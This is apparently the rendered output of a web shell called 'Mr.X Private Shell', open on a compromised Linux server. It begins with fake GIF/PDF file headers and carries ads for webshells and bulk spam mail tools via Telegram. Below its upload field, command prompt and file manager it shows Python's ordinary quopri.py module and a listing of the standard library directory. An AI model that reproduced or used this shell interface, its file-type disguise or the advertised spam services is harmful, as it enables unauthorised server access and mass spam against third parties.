GIF89; GIF89; %PDF- %PDF- Mr.X 
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        

            For_More_Tools:
            
                Telegram: @jackleet | Bulk Smtp support mail sender  | Business Mail Collector  |  Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private

Upload:

Command:

www-data@216.73.216.129: ~ $ 
#! /usr/bin/python3.10

"""Conversions to/from quoted-printable transport encoding as per RFC 1521."""

# (Dec 1991 version).

__all__ = ["encode", "decode", "encodestring", "decodestring"]

ESCAPE = b'='
MAXLINESIZE = 76
HEX = b'0123456789ABCDEF'
EMPTYSTRING = b''

try:
    from binascii import a2b_qp, b2a_qp
except ImportError:
    a2b_qp = None
    b2a_qp = None


def needsquoting(c, quotetabs, header):
    """Decide whether a particular byte ordinal needs to be quoted.

    The 'quotetabs' flag indicates whether embedded tabs and spaces should be
    quoted.  Note that line-ending tabs and spaces are always encoded, as per
    RFC 1521.
    """
    assert isinstance(c, bytes)
    if c in b' \t':
        return quotetabs
    # if header, we have to escape _ because _ is used to escape space
    if c == b'_':
        return header
    return c == ESCAPE or not (b' ' <= c <= b'~')

def quote(c):
    """Quote a single character."""
    assert isinstance(c, bytes) and len(c)==1
    c = ord(c)
    return ESCAPE + bytes((HEX[c//16], HEX[c%16]))



def encode(input, output, quotetabs, header=False):
    """Read 'input', apply quoted-printable encoding, and write to 'output'.

    'input' and 'output' are binary file objects. The 'quotetabs' flag
    indicates whether embedded tabs and spaces should be quoted. Note that
    line-ending tabs and spaces are always encoded, as per RFC 1521.
    The 'header' flag indicates whether we are encoding spaces as _ as per RFC
    1522."""

    if b2a_qp is not None:
        data = input.read()
        odata = b2a_qp(data, quotetabs=quotetabs, header=header)
        output.write(odata)
        return

    def write(s, output=output, lineEnd=b'\n'):
        # RFC 1521 requires that the line ending in a space or tab must have
        # that trailing character encoded.
        if s and s[-1:] in b' \t':
            output.write(s[:-1] + quote(s[-1:]) + lineEnd)
        elif s == b'.':
            output.write(quote(s) + lineEnd)
        else:
            output.write(s + lineEnd)

    prevline = None
    while 1:
        line = input.readline()
        if not line:
            break
        outline = []
        # Strip off any readline induced trailing newline
        stripped = b''
        if line[-1:] == b'\n':
            line = line[:-1]
            stripped = b'\n'
        # Calculate the un-length-limited encoded line
        for c in line:
            c = bytes((c,))
            if needsquoting(c, quotetabs, header):
                c = quote(c)
            if header and c == b' ':
                outline.append(b'_')
            else:
                outline.append(c)
        # First, write out the previous line
        if prevline is not None:
            write(prevline)
        # Now see if we need any soft line breaks because of RFC-imposed
        # length limitations.  Then do the thisline->prevline dance.
        thisline = EMPTYSTRING.join(outline)
        while len(thisline) > MAXLINESIZE:
            # Don't forget to include the soft line break `=' sign in the
            # length calculation!
            write(thisline[:MAXLINESIZE-1], lineEnd=b'=\n')
            thisline = thisline[MAXLINESIZE-1:]
        # Write out the current line
        prevline = thisline
    # Write out the last line, without a trailing newline
    if prevline is not None:
        write(prevline, lineEnd=stripped)

def encodestring(s, quotetabs=False, header=False):
    if b2a_qp is not None:
        return b2a_qp(s, quotetabs=quotetabs, header=header)
    from io import BytesIO
    infp = BytesIO(s)
    outfp = BytesIO()
    encode(infp, outfp, quotetabs, header)
    return outfp.getvalue()



def decode(input, output, header=False):
    """Read 'input', apply quoted-printable decoding, and write to 'output'.
    'input' and 'output' are binary file objects.
    If 'header' is true, decode underscore as space (per RFC 1522)."""

    if a2b_qp is not None:
        data = input.read()
        odata = a2b_qp(data, header=header)
        output.write(odata)
        return

    new = b''
    while 1:
        line = input.readline()
        if not line: break
        i, n = 0, len(line)
        if n > 0 and line[n-1:n] == b'\n':
            partial = 0; n = n-1
            # Strip trailing whitespace
            while n > 0 and line[n-1:n] in b" \t\r":
                n = n-1
        else:
            partial = 1
        while i < n:
            c = line[i:i+1]
            if c == b'_' and header:
                new = new + b' '; i = i+1
            elif c != ESCAPE:
                new = new + c; i = i+1
            elif i+1 == n and not partial:
                partial = 1; break
            elif i+1 < n and line[i+1:i+2] == ESCAPE:
                new = new + ESCAPE; i = i+2
            elif i+2 < n and ishex(line[i+1:i+2]) and ishex(line[i+2:i+3]):
                new = new + bytes((unhex(line[i+1:i+3]),)); i = i+3
            else: # Bad escape sequence -- leave it in
                new = new + c; i = i+1
        if not partial:
            output.write(new + b'\n')
            new = b''
    if new:
        output.write(new)

def decodestring(s, header=False):
    if a2b_qp is not None:
        return a2b_qp(s, header=header)
    from io import BytesIO
    infp = BytesIO(s)
    outfp = BytesIO()
    decode(infp, outfp, header=header)
    return outfp.getvalue()



# Other helper functions
def ishex(c):
    """Return true if the byte ordinal 'c' is a hexadecimal digit in ASCII."""
    assert isinstance(c, bytes)
    return b'0' <= c <= b'9' or b'a' <= c <= b'f' or b'A' <= c <= b'F'

def unhex(s):
    """Get the integer value of a hexadecimal number."""
    bits = 0
    for c in s:
        c = bytes((c,))
        if b'0' <= c <= b'9':
            i = ord('0')
        elif b'a' <= c <= b'f':
            i = ord('a')-10
        elif b'A' <= c <= b'F':
            i = ord(b'A')-10
        else:
            assert False, "non-hex digit "+repr(c)
        bits = bits*16 + (ord(c) - i)
    return bits



def main():
    import sys
    import getopt
    try:
        opts, args = getopt.getopt(sys.argv[1:], 'td')
    except getopt.error as msg:
        sys.stdout = sys.stderr
        print(msg)
        print("usage: quopri [-t | -d] [file] ...")
        print("-t: quote tabs")
        print("-d: decode; default encode")
        sys.exit(2)
    deco = False
    tabs = False
    for o, a in opts:
        if o == '-t': tabs = True
        if o == '-d': deco = True
    if tabs and deco:
        sys.stdout = sys.stderr
        print("-t and -d are mutually exclusive")
        sys.exit(2)
    if not args: args = ['-']
    sts = 0
    for file in args:
        if file == '-':
            fp = sys.stdin.buffer
        else:
            try:
                fp = open(file, "rb")
            except OSError as msg:
                sys.stderr.write("%s: can't open (%s)\n" % (file, msg))
                sts = 1
                continue
        try:
            if deco:
                decode(fp, sys.stdout.buffer)
            else:
                encode(fp, sys.stdout.buffer, tabs)
        finally:
            if file != '-':
                fp.close()
    if sts:
        sys.exit(sts)



if __name__ == '__main__':
    main()

Filemanager

DIR : / usr/ lib/ python3.10/
Name Type Size Permission Actions
__pycache__ Folder 0755
asyncio Folder 0755
collections Folder 0755
concurrent Folder 0755
config-3.10-x86_64-linux-gnu Folder 0755
ctypes Folder 0755
curses Folder 0755
dbm Folder 0755
distutils Folder 0755
email Folder 0755
encodings Folder 0755
html Folder 0755
http Folder 0755
importlib Folder 0755
json Folder 0755
lib-dynload Folder 0755
lib2to3 Folder 0755
logging Folder 0755
multiprocessing Folder 0755
pydoc_data Folder 0755
sqlite3 Folder 0755
test Folder 0755
unittest Folder 0755
urllib Folder 0755
venv Folder 0755
wsgiref Folder 0755
xml Folder 0755
xmlrpc Folder 0755
zoneinfo Folder 0755
LICENSE.txt File 13.61 KB 0644
__future__.py File 5.03 KB 0644
__phello__.foo.py File 64 B 0644
_aix_support.py File 3.19 KB 0644
_bootsubprocess.py File 2.61 KB 0644
_collections_abc.py File 31.53 KB 0644
_compat_pickle.py File 8.54 KB 0644
_compression.py File 5.55 KB 0644
_distutils_system_mod.py File 6.16 KB 0644
_markupbase.py File 14.31 KB 0644
_osx_support.py File 21.28 KB 0644
_py_abc.py File 6.04 KB 0644
_pydecimal.py File 223.32 KB 0644
_pyio.py File 92.25 KB 0644
_sitebuiltins.py File 3.05 KB 0644
_strptime.py File 24.68 KB 0644
_sysconfigdata__linux_x86_64-linux-gnu.py File 26.84 KB 0644
_sysconfigdata__x86_64-linux-gnu.py File 26.84 KB 0644
_threading_local.py File 7.05 KB 0644
_weakrefset.py File 5.78 KB 0644
abc.py File 6.37 KB 0644
aifc.py File 31.84 KB 0644
antigravity.py File 500 B 0644
argparse.py File 96.52 KB 0644
ast.py File 58.5 KB 0644
asynchat.py File 11.25 KB 0644
asyncore.py File 19.79 KB 0644
base64.py File 20.36 KB 0755
bdb.py File 31.64 KB 0644
binhex.py File 14.44 KB 0644
bisect.py File 3.06 KB 0644
bz2.py File 11.57 KB 0644
cProfile.py File 6.2 KB 0755
calendar.py File 24 KB 0644
cgi.py File 33.3 KB 0755
cgitb.py File 11.81 KB 0644
chunk.py File 5.31 KB 0644
cmd.py File 14.51 KB 0644
code.py File 10.37 KB 0644
codecs.py File 35.85 KB 0644
codeop.py File 5.48 KB 0644
colorsys.py File 3.92 KB 0644
compileall.py File 19.78 KB 0644
configparser.py File 53.33 KB 0644
contextlib.py File 25.28 KB 0644
contextvars.py File 129 B 0644
copy.py File 8.48 KB 0644
copyreg.py File 7.25 KB 0644
crypt.py File 3.76 KB 0644
csv.py File 15.65 KB 0644
dataclasses.py File 55.07 KB 0644
datetime.py File 86.02 KB 0644
decimal.py File 320 B 0644
difflib.py File 81.36 KB 0644
dis.py File 19.55 KB 0644
doctest.py File 102.68 KB 0644
enum.py File 38.9 KB 0644
filecmp.py File 9.94 KB 0644
fileinput.py File 16.06 KB 0644
fnmatch.py File 6.56 KB 0644
fractions.py File 27.58 KB 0644
ftplib.py File 34.66 KB 0644
functools.py File 37.18 KB 0644
genericpath.py File 4.86 KB 0644
getopt.py File 7.31 KB 0644
getpass.py File 5.85 KB 0644
gettext.py File 27.04 KB 0644
glob.py File 7.7 KB 0644
graphlib.py File 9.35 KB 0644
gzip.py File 21.34 KB 0644
hashlib.py File 9.99 KB 0644
heapq.py File 22.34 KB 0644
hmac.py File 7.54 KB 0644
imaplib.py File 53.58 KB 0644
imghdr.py File 3.72 KB 0644
imp.py File 10.34 KB 0644
inspect.py File 121.46 KB 0644
io.py File 4.1 KB 0644
ipaddress.py File 75.96 KB 0644
keyword.py File 1.04 KB 0644
linecache.py File 5.56 KB 0644
locale.py File 76.3 KB 0644
lzma.py File 12.97 KB 0644
mailbox.py File 76.95 KB 0644
mailcap.py File 8.9 KB 0644
mimetypes.py File 22.01 KB 0644
modulefinder.py File 23.83 KB 0644
netrc.py File 5.61 KB 0644
nntplib.py File 40.06 KB 0644
ntpath.py File 26.92 KB 0644
nturl2path.py File 2.82 KB 0644
numbers.py File 10.11 KB 0644
opcode.py File 5.76 KB 0644
operator.py File 10.5 KB 0644
optparse.py File 58.95 KB 0644
os.py File 38.63 KB 0644
pathlib.py File 48.41 KB 0644
pdb.py File 61.74 KB 0755
pickle.py File 63.43 KB 0644
pickletools.py File 91.29 KB 0644
pipes.py File 8.71 KB 0644
pkgutil.py File 24 KB 0644
platform.py File 41.04 KB 0755
plistlib.py File 27.69 KB 0644
poplib.py File 14.84 KB 0644
posixpath.py File 15.75 KB 0644
pprint.py File 23.87 KB 0644
profile.py File 22.35 KB 0755
pstats.py File 28.64 KB 0644
pty.py File 5.09 KB 0644
py_compile.py File 7.69 KB 0644
pyclbr.py File 11.13 KB 0644
pydoc.py File 107.31 KB 0755
queue.py File 11.23 KB 0644
quopri.py File 7.1 KB 0755
random.py File 32.44 KB 0644
re.py File 15.49 KB 0644
reprlib.py File 5.14 KB 0644
rlcompleter.py File 7.63 KB 0644
runpy.py File 12.8 KB 0644
sched.py File 6.2 KB 0644
secrets.py File 1.99 KB 0644
selectors.py File 19.08 KB 0644
shelve.py File 8.36 KB 0644
shlex.py File 13.18 KB 0644
shutil.py File 53.29 KB 0644
signal.py File 2.38 KB 0644
site.py File 23.11 KB 0644
sitecustomize.py File 155 B 0644
smtpd.py File 34.34 KB 0755
smtplib.py File 44.35 KB 0755
sndhdr.py File 6.93 KB 0644
socket.py File 35.92 KB 0644
socketserver.py File 26.66 KB 0644
sre_compile.py File 27.32 KB 0644
sre_constants.py File 7.01 KB 0644
sre_parse.py File 39.82 KB 0644
ssl.py File 52.47 KB 0644
stat.py File 5.36 KB 0644
statistics.py File 42.19 KB 0644
string.py File 10.32 KB 0644
stringprep.py File 12.61 KB 0644
struct.py File 257 B 0644
subprocess.py File 82.93 KB 0644
sunau.py File 17.73 KB 0644
symtable.py File 9.98 KB 0644
sysconfig.py File 28.71 KB 0644
tabnanny.py File 11.03 KB 0755
tarfile.py File 104.93 KB 0755
telnetlib.py File 22.71 KB 0644
tempfile.py File 33.76 KB 0644
textwrap.py File 19.31 KB 0644
this.py File 1003 B 0644
threading.py File 55.86 KB 0644
timeit.py File 13.18 KB 0755
token.py File 2.33 KB 0644
tokenize.py File 25.31 KB 0644
trace.py File 28.53 KB 0755
traceback.py File 25.61 KB 0644
tracemalloc.py File 17.62 KB 0644
tty.py File 879 B 0644
turtle.py File 140.39 KB 0644
types.py File 9.88 KB 0644
typing.py File 90.39 KB 0644
uu.py File 7.13 KB 0755
uuid.py File 26.86 KB 0644
warnings.py File 19.23 KB 0644
wave.py File 17.58 KB 0644
weakref.py File 21.05 KB 0644
webbrowser.py File 23.68 KB 0755
xdrlib.py File 5.77 KB 0644
zipapp.py File 7.36 KB 0644
zipfile.py File 88.72 KB 0644
zipimport.py File 30.17 KB 0644

Copyright reserved © 2026 xtooler.online Shell Coded By Mr.X